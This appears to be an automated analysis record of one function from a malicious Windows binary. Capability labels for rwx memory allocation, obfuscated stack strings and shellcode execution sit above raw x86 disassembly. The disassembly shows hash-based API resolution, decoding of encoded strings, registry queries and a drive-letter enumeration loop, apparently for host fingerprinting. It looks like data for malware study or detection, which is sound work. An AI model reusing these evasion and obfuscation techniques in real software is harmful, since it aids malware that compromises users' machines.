Function at 0x40a482
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
mov ebx, ecx
xor eax, eax
push esi
push edi
mov dword [ebp - 0x1f0], ebx
cmp dword [ebx], eax
je 0x40a4d2
push 4
push 0x3000
push 0x202
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x64], 0x100
push 0xb9d41c39
push 5
mov dword [ebx + 8], esi
call fcn.004010bb
pop ecx
pop ecx
lea ecx, [ebp - 0x64]
push ecx
push esi
call eax
xor eax, eax
cmp dword [ebx + 0xc], eax
je 0x40a50a
push 4
push 0x3000
push 0x20
push eax
mov dword [ebp - 0x64], 0x1e
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x3def91ac
push 1
mov dword [ebx + 0x14], esi
call fcn.004010bb
pop ecx
pop ecx
lea ecx, [ebp - 0x64]
push ecx
push esi
call eax
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
cmp dword [ebx + 0x18], eax
je 0x40a7df
push 4
push 0x3000
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0x20], eax
test eax, eax
je 0x40a7dd
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x17c], 0xb3b98470
push eax
mov dword [ebp - 0x178], 0x76bbf839
mov dword [ebp - 0x174], 0x62bce74
mov dword [ebp - 0x170], 0x5bf6940a
mov dword [ebp - 0x16c], 0xa174d8a1
mov dword [ebp - 0x168], 0xa174d8c7
mov dword [ebp - 0x164], 0x7759eaad
mov dword [ebp - 0x160], 0x66a503ce
mov dword [ebp - 0x15c], 0x2800431
mov dword [ebp - 0x158], 0x4a7fbfd7
mov dword [ebp - 0x154], 0xe796dfa2
mov dword [ebp - 0x150], 0xb84625cc
mov dword [ebp - 0x14c], 0x384a6327
mov dword [ebp - 0x148], 0xdff656a6
mov dword [ebp - 0x144], 0x690ff5e4
mov dword [ebp - 0x140], 0x594a62ff
mov dword [ebp - 0x13c], 0x82bd08d1
mov dword [ebp - 0x138], 0xeee38067
mov dword [ebp - 0x134], 0xe6f31be4
mov dword [ebp - 0x130], 0xf29cd817
mov dword [ebp - 0x12c], 0x1c9befa1
mov dword [ebp - 0x128], 0xa2df45f8
mov dword [ebp - 0x124], 0xe8bdec82
mov dword [ebp - 0x120], 0x644880d9
mov dword [ebp - 0x11c], 0x16399750
mov dword [ebp - 0x118], 0x1845e3bc
mov dword [ebp - 0x114], 0xf34fc983
mov dword [ebp - 0x110], 0x77753fc9
mov dword [ebp - 0x10c], 0xa51a70fc
mov dword [ebp - 0x108], 0x1a8bda0
mov dword [ebp - 0x104], 0xb881055d
mov word [ebp - 0x100], 0x3969
call fcn.00407713
push 0x5a
mov esi, eax
mov dword [ebp - 0x1bb], 0xba6124e
pop edx
lea eax, [ebp - 0x1bc]
mov byte [ebp - 0x1bc], dl
push eax
mov dword [ebp - 0x1b7], 0x7de9c51
mov dword [ebp - 0x1b3], 0x68c28f2
mov dword [ebp - 0x1af], 0xb64856d9
mov dword [ebp - 0x1ab], 0xb8651478
mov dword [ebp - 0x1a7], 0x53651478
mov dword [ebp - 0x1a3], 0xb369749d
mov dword [ebp - 0x19f], 0x54d04577
mov dword [ebp - 0x19b], 0x79e960c5
mov byte [ebp - 0x197], 0x33
call fcn.00407713
pop ecx
pop ecx
xor ecx, ecx
push ecx
push 0x80
push dword [ebx + 0x20]
mov ecx, ebx
push eax
push esi
push 0x80000002
call fcn.0040ba6b
test eax, eax
lea eax, [ebp - 0x2c]
push eax
je 0x40a782
mov dword [ebp - 0x2c], 0xaa2450c0
mov dword [ebp - 0x28], 0xa101e3b3
mov dword [ebp - 0x24], 0x8680e9a9
mov dword [ebp - 0x20], 0xccc53e10
mov dword [ebp - 0x1c], 0xdfc278ac
mov dword [ebp - 0x18], 0xdfc278b8
mov dword [ebp - 0x14], 0xbf9f5c2e
mov dword [ebp - 0x10], 0x7e30115b
mov dword [ebp - 0xc], 0xe916289b
mov dword [ebp - 8], 0xf487ddbb
mov dword [ebp - 4], 0x25f21df0
call fcn.00407713
pop ecx
mov ecx, dword [ebx + 0x20]
xor edx, edx
cmp word [ecx], dx
jne 0x40a7dd
push eax
push ecx
call edi
pop ecx
pop ecx
jmp 0x40a7dd
mov dword [ebp - 0x2c], 0x32fa3c4
mov dword [ebp - 0x28], 0x1518ad8b
mov dword [ebp - 0x24], 0x70779701
mov dword [ebp - 0x20], 0xe66da3be
mov dword [ebp - 0x1c], 0x6b61fd16
mov dword [ebp - 0x18], 0x6b61fd02
mov dword [ebp - 0x14], 0x9acee05b
mov dword [ebp - 0x10], 0x796145e8
mov dword [ebp - 0xc], 0xcabac0c6
mov dword [ebp - 8], 0xa2600093
mov dword [ebp - 4], 0x45fc6bad
call fcn.00407713
push eax
push dword [ebx + 0x20]
call edi
add esp, 0xc
xor eax, eax
cmp dword [ebx + 0x30], eax
je 0x40a96f
push 4
push 0x3000
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0x38], eax
push 0x5a
pop eax
mov byte [ebp - 0xb8], al
lea eax, [ebp - 0xdc]
push eax
mov dword [ebp - 0xdc], 0x3eb5a07b
mov dword [ebp - 0xd8], 0x501cc987
mov dword [ebp - 0xd4], 0x91f24ca6
mov dword [ebp - 0xd0], 0xeff070af
mov dword [ebp - 0xcc], 0xcbc6343e
mov dword [ebp - 0xc8], 0xcbc63406
mov dword [ebp - 0xc4], 0xfe9dcc17
mov dword [ebp - 0xc0], 0x77d751af
mov dword [ebp - 0xbc], 0x8c602f84
mov dword [ebp - 0xb7], 0x62ce2df5
mov dword [ebp - 0xb3], 0xa2e22e
mov dword [ebp - 0xaf], 0x39402358
mov dword [ebp - 0xab], 0x491a3beb
mov dword [ebp - 0xa7], 0xf80718b2
mov dword [ebp - 0xa3], 0xb0d1ff93
mov dword [ebp - 0x9f], 0xb09b2803
mov dword [ebp - 0x9b], 0x8b315790
mov dword [ebp - 0x97], 0x2f40c74a
mov dword [ebp - 0x93], 0x8949773b
mov word [ebp - 0x8f], 0x5ec7
mov byte [ebp - 0x8d], 0x2a
call fcn.00407713
mov esi, eax
mov dword [ebp - 0x60], 0xec65eb2f
lea eax, [ebp - 0x60]
mov dword [ebp - 0x5c], 0x69f22afb
push eax
mov dword [ebp - 0x58], 0x440e813
mov dword [ebp - 0x54], 0xcdd2a2c8
mov dword [ebp - 0x50], 0x8d13ee6a
mov dword [ebp - 0x4c], 0x8d13ee7c
mov dword [ebp - 0x48], 0xbc52772d
mov dword [ebp - 0x44], 0xc71b1ac8
mov dword [ebp - 0x40], 0xef22e9bc
mov dword [ebp - 0x3c], 0x90714dd1
mov dword [ebp - 0x38], 0x9098c725
mov word [ebp - 0x34], 0x6573
call fcn.00407713
pop ecx
pop ecx
xor ecx, ecx
push ecx
push 0x40
push dword [ebx + 0x38]
mov ecx, ebx
push eax
push esi
push 0x80000001
call fcn.0040ba6b
test eax, eax
jne 0x40a96d
push 0x8000
push eax
push dword [ebx + 0x38]
mov dword [ebx + 0x30], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
cmp dword [ebx + 0x3c], eax
je 0x40ab9a
push 4
push 0x3000
push 0x8a
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov esi, eax
xor eax, eax
push 0x3000
push 4
mov dword [ebp - 0x64], esi
add esi, 0xe
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0x44], eax
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0xd4], 0xdb100c52
mov dword [ebp - 0x190], eax
inc ecx
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x18c], ecx
push eax
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0xd0], 0x1c24b8e2
mov dword [ebp - 0xcc], 0xd260a9d0
mov dword [ebp - 0xc8], 0xc03d2f11
mov dword [ebp - 0xc4], 0x96b19e87
mov dword [ebp - 0xc0], 0x96b19eb7
mov dword [ebp - 0xbc], 0x7308fb86
mov dword [ebp - 0xb8], 0x5391ab02
mov dword [ebp - 0xb4], 0xd8a46755
mov dword [ebp - 0xb0], 0x9d7dae2d
mov dword [ebp - 0xac], 0xf239674c
mov dword [ebp - 0xa8], 0xf6c4d4c2
mov dword [ebp - 0xa4], 0x259c1b90
mov dword [ebp - 0xa0], 0xcf5e809c
mov dword [ebp - 0x9c], 0x9630fc70
mov dword [ebp - 0x98], 0xf98dd77e
mov dword [ebp - 0x94], 0xef433f22
mov dword [ebp - 0x90], 0x26e8abc3
call fcn.00407713
mov dword [ebp - 0x1ec], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x2c], 0x69ade715
mov dword [ebp - 0x28], 0xf272d46d
mov dword [ebp - 0x24], 0x4fba8bbf
mov dword [ebp - 0x20], 0xd74233dc
mov dword [ebp - 0x1c], 0xbe6f2da1
mov dword [ebp - 0x18], 0xbe6f2db3
mov dword [ebp - 0x14], 0xe032c756
mov dword [ebp - 0x10], 0xac4eabdd
mov dword [ebp - 0xc], 0x414ef2a7
mov dword [ebp - 8], 0x67e8f678
mov word [ebp - 4], 0xfbf2
call fcn.00407713
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x194], eax
push ecx
push 0x4112ac
push dword [ebp - 0x64]
call edi
add esp, 0xc
xor eax, eax
inc dword [ebp - 0x1e8]
mov ecx, ebx
push eax
push 0x80
push esi
push dword [ebp - 0x64]
push dword [ebp - 0x1ec]
push 0x80000001
call fcn.0040ba6b
test eax, eax
je 0x40ab4e
push dword [ebp - 0x194]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40ab58
push 0x411a80
push dword [ebx + 0x44]
call edi
xor edx, edx
inc edx
xor eax, eax
pop ecx
pop ecx
mov dword [ebp - 0x190], edx
mov dword [ebp - 0x18c], eax
jmp 0x40ab64
xor eax, eax
mov dword [ebp - 0x18c], eax
jmp 0x40ab5e
mov eax, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 9
je 0x40ab77
test eax, eax
jne 0x40aae8
test edx, edx
jne 0x40ab87
push 0x411a84
push dword [ebx + 0x44]
call edi
pop ecx
pop ecx
push 0x8000
xor eax, eax
push eax
push dword [ebp - 0x64]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
cmp dword [ebx + 0x48], eax
je 0x40afbb
push 4
push 0x3000
push 0x82
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x5c
pop ecx
mov dword [ebx + 0x50], eax
push 0x41
pop eax
mov byte [ebp - 0xdf], al
mov byte [ebp - 0xbb], al
lea eax, [ebp - 0xfc]
push eax
mov dword [ebp - 0xfc], 0xf606d154
mov dword [ebp - 0xf8], 0x92a078d2
mov byte [ebp - 0xf4], cl
mov dword [ebp - 0xf3], 0xe101cef1
mov dword [ebp - 0xef], 0xdb83cd57
mov dword [ebp - 0xeb], 0x817d15bc
mov dword [ebp - 0xe7], 0x17d15bc
mov dword [ebp - 0xe3], 0x4761fec5
mov dword [ebp - 0xde], 0x88b8ade
mov dword [ebp - 0xda], 0x407b6fa3
mov dword [ebp - 0xd6], 0xd7ab0acc
mov byte [ebp - 0xd2], cl
mov dword [ebp - 0xd1], 0xaf4e10d0
mov dword [ebp - 0xcd], 0x1f4e2f6
mov dword [ebp - 0xc9], 0xf52c6ce2
mov dword [ebp - 0xc5], 0x15fc86ec
mov dword [ebp - 0xc1], 0x449cb7bd
mov word [ebp - 0xbd], 0x5d46
mov dword [ebp - 0xba], 0x1ef97ecb
mov dword [ebp - 0xb6], 0x9220dfbf
mov dword [ebp - 0xb2], 0x8b24fa99
mov dword [ebp - 0xae], 0x675aedf
mov dword [ebp - 0xaa], 0x27ba0666
mov dword [ebp - 0xa6], 0xae45f1c
mov dword [ebp - 0xa2], 0xc6e0628
mov dword [ebp - 0x9e], 0x50b223e2
mov dword [ebp - 0x9a], 0x48f2f83d
mov dword [ebp - 0x96], 0x694a6b5f
mov dword [ebp - 0x92], 0x12bf762c
mov dword [ebp - 0x8e], 0x5b8fa28
call fcn.00407713
mov esi, eax
mov dword [ebp - 0x60], 0x3ea5a980
lea eax, [ebp - 0x60]
mov dword [ebp - 0x5c], 0x318b0182
push eax
mov dword [ebp - 0x58], 0xfd640c12
mov dword [ebp - 0x54], 0x48a88fec
mov dword [ebp - 0x50], 0x3319681b
mov dword [ebp - 0x4c], 0x33196803
mov dword [ebp - 0x48], 0x5f28160e
mov dword [ebp - 0x44], 0x922985f6
mov dword [ebp - 0x40], 0x3db7a390
mov dword [ebp - 0x3c], 0x7aa3bb56
mov dword [ebp - 0x38], 0x70142546
mov dword [ebp - 0x34], 0xc57d7a38
call fcn.00407713
pop ecx
pop ecx
xor ecx, ecx
push ecx
push 0x80
push dword [ebx + 0x50]
mov ecx, ebx
push eax
push esi
push 0x80000002
call fcn.0040ba6b
test eax, eax
jne 0x40afb9
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0xc3a06239
push eax
mov dword [ebp - 0x184], 0xd95e07b2
mov dword [ebp - 0x180], 0x1c12923d
mov dword [ebp - 0x17c], 0x940bc4f3
mov dword [ebp - 0x178], 0x89f1215f
mov dword [ebp - 0x174], 0x89f1212d
mov dword [ebp - 0x170], 0x36a26c8d
mov dword [ebp - 0x16c], 0xd344a9c6
mov dword [ebp - 0x168], 0xa0032cab
mov dword [ebp - 0x164], 0x4f7c4e62
mov dword [ebp - 0x160], 0x318e6300
mov dword [ebp - 0x15c], 0x2b728f9f
mov dword [ebp - 0x158], 0xe43f05c
mov dword [ebp - 0x154], 0xd1045b29
mov dword [ebp - 0x150], 0xb11b2e6c
mov dword [ebp - 0x14c], 0x578958c2
mov dword [ebp - 0x148], 0xe103a51f
mov dword [ebp - 0x144], 0xe0c74219
mov dword [ebp - 0x140], 0xcfdbf667
mov dword [ebp - 0x13c], 0xc9806080
mov dword [ebp - 0x138], 0xe9c22fff
mov dword [ebp - 0x134], 0x7552f756
mov dword [ebp - 0x130], 0xc2bf7523
mov dword [ebp - 0x12c], 0xea002029
mov dword [ebp - 0x128], 0xb8f7c192
mov dword [ebp - 0x124], 0xf2052ec9
mov dword [ebp - 0x120], 0x46abf682
mov dword [ebp - 0x11c], 0x43bd9d12
mov dword [ebp - 0x118], 0x2175d1fc
mov dword [ebp - 0x114], 0xbb2d54ee
mov dword [ebp - 0x110], 0x2304c442
mov dword [ebp - 0x10c], 0x73ed52b9
mov dword [ebp - 0x108], 0x7a3d3289
mov dword [ebp - 0x104], 0x5262e7df
mov word [ebp - 0x100], 0x1f60
call fcn.00407713
mov esi, eax
mov dword [ebp - 0x30], 0xd02291bc
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0xbd5cc657
push eax
mov dword [ebp - 0x28], 0xc7308d30
mov dword [ebp - 0x24], 0xa7144d7
mov dword [ebp - 0x20], 0x7b19556c
mov dword [ebp - 0x1c], 0x7b195574
mov dword [ebp - 0x18], 0x1eda2e5e
mov dword [ebp - 0x14], 0xc6a469bc
mov dword [ebp - 0x10], 0x6a3f73b5
mov dword [ebp - 0xc], 0x2c7936e1
mov dword [ebp - 8], 0x32caa4d7
mov dword [ebp - 4], 0x5db5b13
call fcn.00407713
pop ecx
pop ecx
xor ecx, ecx
push ecx
push 0x80
push dword [ebx + 0x50]
mov ecx, ebx
push eax
push esi
push 0x80000002
call fcn.0040ba6b
lea eax, [ebp - 0x88]
mov dword [ebp - 0x88], 0xd8ffb5b9
push eax
mov dword [ebp - 0x84], 0xdcc971b0
mov dword [ebp - 0x80], 0xb635cb4b
mov dword [ebp - 0x7c], 0xa3068d3d
mov dword [ebp - 0x78], 0xfaddfb28
mov dword [ebp - 0x74], 0xfaddfb24
mov dword [ebp - 0x70], 0x77975b1c
mov dword [ebp - 0x6c], 0x680bcc3d
mov dword [ebp - 0x68], 0x33850aef
call fcn.00407713
push eax
push dword [ebx + 0x50]
call edi
add esp, 0xc
xor eax, eax
cmp dword [ebx + 0x54], eax
je 0x40b102
push 0x74b624be
push 1
call fcn.004010bb
pop ecx
pop ecx
lea ecx, [ebp - 0x1bc]
push ecx
call eax
push 4
mov esi, 0x3000
xor eax, eax
push esi
push 0x40
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebx + 0x5c], eax
movzx eax, word [ebp - 0x1bc]
test eax, eax
je 0x40b0c5
cmp eax, 9
je 0x40b071
mov dword [ebp - 0x1e4], 0xc0d65072
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x1e0], 0x854771a3
mov dword [ebp - 0x1dc], 0x649e6aa0
mov dword [ebp - 0x1d8], 0xe4f8ebe
mov dword [ebp - 0x1d4], 0x2e764e0a
mov dword [ebp - 0x1d0], 0x2e764e1a
mov dword [ebp - 0x1cc], 0x80c60ebe
mov dword [ebp - 0x1c8], 0x65d9b186
mov dword [ebp - 0x1c4], 0xa493a0d7
mov dword [ebp - 0x1c0], 0x28d0afc
jmp 0x40b0b2
mov dword [ebp - 0x84], 0x6e408b83
mov dword [ebp - 0x80], 0x5d4dce00
mov dword [ebp - 0x7c], 0x547b1a38
mov dword [ebp - 0x78], 0x88f93f8e
mov dword [ebp - 0x74], 0x1792f6b6
mov dword [ebp - 0x70], 0x1792f6be
mov dword [ebp - 0x6c], 0xebf7f616
mov dword [ebp - 0x68], 0x68375706
lea eax, [ebp - 0x84]
push eax
call fcn.00407713
push eax
push dword [ebx + 0x5c]
call edi
add esp, 0xc
xor eax, eax
jmp 0x40b107
mov dword [ebp - 0x84], 0x49443e68
mov dword [ebp - 0x80], 0x441d2d0a
mov dword [ebp - 0x7c], 0x7ca5cd25
mov dword [ebp - 0x78], 0xda42c4a4
mov dword [ebp - 0x74], 0x3fe7ccea
mov dword [ebp - 0x70], 0x3fe7cce2
mov dword [ebp - 0x6c], 0x9053e6d0
mov dword [ebp - 0x68], 0x89d53faf
jmp 0x40b0ac
mov esi, 0x3000
cmp dword [ebx + 0x24], eax
je 0x40b129
lea eax, [ebp - 0x194]
mov ecx, ebx
push eax
lea eax, [ebx + 0x2c]
push eax
call fcn.004099c5
test eax, eax
jne 0x40b127
mov dword [ebx + 0x24], eax
jmp 0x40b129
xor eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp dword [ebx + 0x60], eax
je 0x40b525
push 4
push esi
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push esi
mov dword [ebx + 0x68], eax
xor eax, eax
push 0xe0c
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x78b00c68
push 1
mov dword [ebp - 0x18c], esi
lea eax, [esi + 0x60c]
mov dword [ebp - 0x64], eax
call fcn.004010bb
pop ecx
pop ecx
push 0x100
push esi
call eax
xor eax, eax
lea ecx, [esi + 0x600]
mov word [esi + 6], ax
mov edx, 0x100
push edx
lea eax, [esi + 0x400]
push eax
lea eax, [esi + 0x604]
push eax
lea eax, [esi + 0x608]
push eax
push ecx
push edx
lea eax, [esi + 0x200]
push eax
push esi
call fcn.0040950e
lea eax, [ebp - 0x174]
mov dword [ebp - 0x174], 0xafb9d954
push eax
mov dword [ebp - 0x170], 0x910cc19a
mov dword [ebp - 0x16c], 0xd9d87c83
mov dword [ebp - 0x168], 0xf4949e6c
mov dword [ebp - 0x164], 0xecf86523
mov dword [ebp - 0x160], 0xecf8657d
mov dword [ebp - 0x15c], 0x301174b0
mov dword [ebp - 0x158], 0x7f333a8d
mov dword [ebp - 0x154], 0x7cdee70
mov dword [ebp - 0x150], 0x38c8485
mov dword [ebp - 0x14c], 0x5be64e8d
mov dword [ebp - 0x148], 0xcecaf282
mov dword [ebp - 0x144], 0xba5c0372
mov dword [ebp - 0x140], 0xa7004501
mov dword [ebp - 0x13c], 0xe8e6db9f
mov dword [ebp - 0x138], 0x4368d874
mov dword [ebp - 0x134], 0x74b5c66c
mov dword [ebp - 0x130], 0x335df27b
mov dword [ebp - 0x12c], 0xd234625
mov dword [ebp - 0x128], 0x4c6d8e47
mov dword [ebp - 0x124], 0x1a570963
mov dword [ebp - 0x120], 0x6cd5993e
mov dword [ebp - 0x11c], 0x79ce376
mov dword [ebp - 0x118], 0x59b892f7
mov dword [ebp - 0x114], 0x22fc1903
mov dword [ebp - 0x110], 0xc0c085cd
mov dword [ebp - 0x10c], 0x6b60cfb9
mov dword [ebp - 0x108], 0xc822988a
mov dword [ebp - 0x104], 0x8856cb16
mov word [ebp - 0x100], 0x7a41
call fcn.00407713
mov dword [ebp - 0x190], eax
mov dword [ebp - 0xcc], 0xf92e43a8
mov dword [ebp - 0xc8], 0x8819d167
mov dword [ebp - 0xc4], 0x9ec9c6d1
mov dword [ebp - 0xc0], 0x59f79814
mov dword [ebp - 0xbc], 0x1e63a494
mov dword [ebp - 0xb8], 0x1e63a4bc
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xb4], 0x8eadb2ea
push eax
mov dword [ebp - 0xb0], 0xf355877b
mov dword [ebp - 0xac], 0xa4560d77
mov dword [ebp - 0xa8], 0x2a97696e
mov dword [ebp - 0xa4], 0xf31f8870
mov dword [ebp - 0xa0], 0xff2e7f1a
mov dword [ebp - 0x9c], 0xeaf9c0e3
mov dword [ebp - 0x98], 0x5078ad00
mov dword [ebp - 0x94], 0xbae8f6d2
mov dword [ebp - 0x90], 0x225ccb46
call fcn.00407713
mov esi, eax
mov dword [ebp - 0x60], 0x4ae839a1
lea eax, [ebp - 0x60]
mov dword [ebp - 0x5c], 0x60d6ea4b
push eax
mov dword [ebp - 0x58], 0x98a590be
mov dword [ebp - 0x54], 0x720f0d55
mov dword [ebp - 0x50], 0x3ab78cd6
mov dword [ebp - 0x4c], 0x3ab78cc0
mov dword [ebp - 0x48], 0x130ea4fd
mov dword [ebp - 0x44], 0x563def
mov dword [ebp - 0x40], 0x48a2aea4
mov dword [ebp - 0x3c], 0xf80e3376
mov dword [ebp - 0x38], 0x82104135
mov word [ebp - 0x34], 0xbf8c
call fcn.00407713
add esp, 0x2c
mov dword [ebp - 0x194], eax
xor eax, eax
mov ecx, ebx
push eax
push 0x80
push dword [ebp - 0x64]
push esi
push dword [ebp - 0x190]
push 0x80000002
call fcn.0040ba6b
mov esi, dword [ebp - 0x64]
test eax, eax
je 0x40b454
push esi
call edi
xor ecx, ecx
push ecx
push 0x80
lea eax, [esi + eax*2]
mov ecx, ebx
push eax
push dword [ebp - 0x194]
push dword [ebp - 0x190]
push 0x80000002
call fcn.0040ba6b
mov eax, dword [ebp - 0x18c]
push dword [eax + 0x600]
push 0x4112ac
push dword [ebx + 0x68]
call dword [sym.imp.USER32.dll_wsprintfW]
push esi
push dword [ebx + 0x68]
call fcn.0040183e
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0xe0783ac7
push eax
mov dword [ebp - 0x28], 0xe3b27d46
mov dword [ebp - 0x24], 0x584c5bd1
mov dword [ebp - 0x20], 0x753570c3
mov dword [ebp - 0x1c], 0xb80d3a61
mov dword [ebp - 0x18], 0xb80d3a75
mov dword [ebp - 0x14], 0xcc020106
mov dword [ebp - 0x10], 0x5c24a27a
mov dword [ebp - 0xc], 0x872c68f1
mov dword [ebp - 8], 0x79c7b303
mov dword [ebp - 4], 0x6eee2516
call fcn.00407713
add esp, 0x18
xor eax, eax
mov dword [ebx + 0x6c], eax
push dword [ebx + 0x68]
call edi
mov esi, dword [ebx + 0x68]
mov edi, eax
push 0x687b7023
push 2
add edi, edi
call fcn.004010bb
pop ecx
pop ecx
push edi
push esi
push 0x29a
call eax
mov esi, dword [ebp - 0x18c]
mov dword [ebx + 0x6c], eax
push 0x3a35705f
push 1
mov eax, dword [esi + 0x600]
mov dword [ebx + 0x70], eax
call fcn.004010bb
pop ecx
pop ecx
push 0x8000
xor ecx, ecx
push ecx
push esi
call eax
xor eax, eax
cmp dword [ebx + 0x74], eax
je 0x40ba61
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0xc6b23a8
push eax
mov dword [ebp - 0x238], 0x56e1a542
mov dword [ebp - 0x234], 0x6f728da2
mov dword [ebp - 0x230], 0xaa540357
mov dword [ebp - 0x22c], 0x9d00e245
mov dword [ebp - 0x228], 0x9d00e255
mov dword [ebp - 0x224], 0x4d716505
mov dword [ebp - 0x220], 0x19648e4
mov dword [ebp - 0x21c], 0x920a04a
mov dword [ebp - 0x218], 0x429a59b2
call fcn.00407713
mov dword [ebp - 0x194], eax
lea eax, [ebp - 0x26c]
push eax
mov dword [ebp - 0x26c], 0xfbd7728
mov dword [ebp - 0x268], 0x76ee3387
mov dword [ebp - 0x264], 0xa71ebe8f
mov dword [ebp - 0x260], 0x4ab47044
mov dword [ebp - 0x25c], 0x9ebd014d
mov dword [ebp - 0x258], 0x9ebd0155
mov dword [ebp - 0x254], 0x56543072
mov dword [ebp - 0x250], 0x40d46cb1
mov dword [ebp - 0x24c], 0x888dc2f4
mov dword [ebp - 0x248], 0x7e42d9ed
mov dword [ebp - 0x244], 0x4a34bd60
mov dword [ebp - 0x240], 0xe1be0417
call fcn.00407713
mov dword [ebp - 0x1ec], eax
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0xc64554f3
mov dword [ebp - 0x58], 0xf9a8528c
mov dword [ebp - 0x54], 0xca803f37
mov dword [ebp - 0x50], 0xe786986e
mov dword [ebp - 0x4c], 0x28c56a87
mov dword [ebp - 0x48], 0x28c56a93
mov dword [ebp - 0x44], 0x9d5e5e07
mov dword [ebp - 0x40], 0x1b0ae20b
mov dword [ebp - 0x3c], 0x6d5cd432
mov dword [ebp - 0x38], 0xde0b95f2
mov dword [ebp - 0x34], 0x92f6d37c
call fcn.00407713
mov ebx, eax
mov dword [ebp - 0x214], 0xd4761a40
push 0x5a
pop eax
mov byte [ebp - 0x1f1], al
lea eax, [ebp - 0x214]
push eax
mov dword [ebp - 0x210], 0xc4e29673
mov dword [ebp - 0x20c], 0x90452339
mov dword [ebp - 0x208], 0x7d15a3c3
mov dword [ebp - 0x204], 0xbb4aa18f
mov dword [ebp - 0x200], 0xbb4aa183
mov dword [ebp - 0x1fc], 0xe8e7ee9a
mov dword [ebp - 0x1f8], 0x5365743b
mov word [ebp - 0x1f4], 0x3847
mov byte [ebp - 0x1f2], 0xd9
call fcn.00407713
mov edi, eax
mov dword [ebp - 0x1e4], 0xe04f4b08
lea eax, [ebp - 0x1e4]
mov dword [ebp - 0x1e0], 0x89567728
push eax
mov dword [ebp - 0x1dc], 0xdad92fc1
mov dword [ebp - 0x1d8], 0x7c984ffa
mov dword [ebp - 0x1d4], 0x1266490e
mov dword [ebp - 0x1d0], 0x12664900
mov dword [ebp - 0x1cc], 0x8d95ff33
mov dword [ebp - 0x1c8], 0x6dd3ed01
mov dword [ebp - 0x1c4], 0xf51d713f
mov word [ebp - 0x1c0], 0x3f5d
call fcn.00407713
mov esi, eax
mov dword [ebp - 0x1bc], 0x33cf1c30
mov dword [ebp - 0x1b8], 0x5635bcbf
mov dword [ebp - 0x1b4], 0xc2adf610
mov dword [ebp - 0x1b0], 0xce226f13
mov byte [ebp - 0x1ac], 0x6f
push 0x5a
pop eax
mov byte [ebp - 0x1ab], al
mov byte [ebp - 0x1a7], al
lea eax, [ebp - 0x1bc]
push eax
mov word [ebp - 0x1aa], 0x3702
mov byte [ebp - 0x1a8], 0x63
mov dword [ebp - 0x1a6], 0x77103702
mov dword [ebp - 0x1a2], 0xab2625c0
mov dword [ebp - 0x19e], 0x578ed080
mov word [ebp - 0x19a], 0xd36f
call fcn.00407713
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x80], ecx
mov ecx, dword [ebp - 0x1ec]
push eax
mov dword [ebp - 0x28], 0xf934fac5
mov dword [ebp - 0x24], 0xe1fc0107
mov dword [ebp - 0x20], 0xad1a4275
mov dword [ebp - 0x1c], 0x9711e10b
mov dword [ebp - 0x18], 0xcc97613e
mov dword [ebp - 0x14], 0xcc97612e
mov dword [ebp - 0x10], 0xa39d7ddd
mov dword [ebp - 0xc], 0xf9858932
mov dword [ebp - 8], 0x77d73823
mov dword [ebp - 4], 0xe776012d
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x70], esi
call fcn.00407713
add esp, 0x1c
mov dword [ebp - 0x68], eax
xor eax, eax
push 4
push 0x3000
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [ebp - 0x1f0]
push 0x41
pop ecx
push 0x5a
mov dword [ebx + 0x7c], eax
lea eax, [ebp - 0xc0]
pop edx
mov word [eax], cx
inc ecx
lea eax, [eax + 2]
cmp cx, dx
jbe 0x40b88c
mov eax, dword [0x411a88]
mov dword [ebp - 0x274], eax
mov eax, dword [0x411a8c]
mov dword [ebp - 0x270], eax
xor eax, eax
mov dword [ebp - 0x64], eax
mov ax, word [ebp + eax*2 - 0xc0]
push 0x399354d8
push 1
mov word [ebp - 0x274], ax
call fcn.004010bb
pop ecx
pop ecx
lea ecx, [ebp - 0x274]
push ecx
call eax
mov edi, eax
cmp edi, 2
jbe 0x40ba3e
cmp edi, 5
je 0x40ba3e
mov esi, dword [ebx + 0x7c]
xor eax, eax
push 0x2ca1b5f0
push 1
mov word [ebp - 0x270], ax
call fcn.004010bb
pop ecx
pop ecx
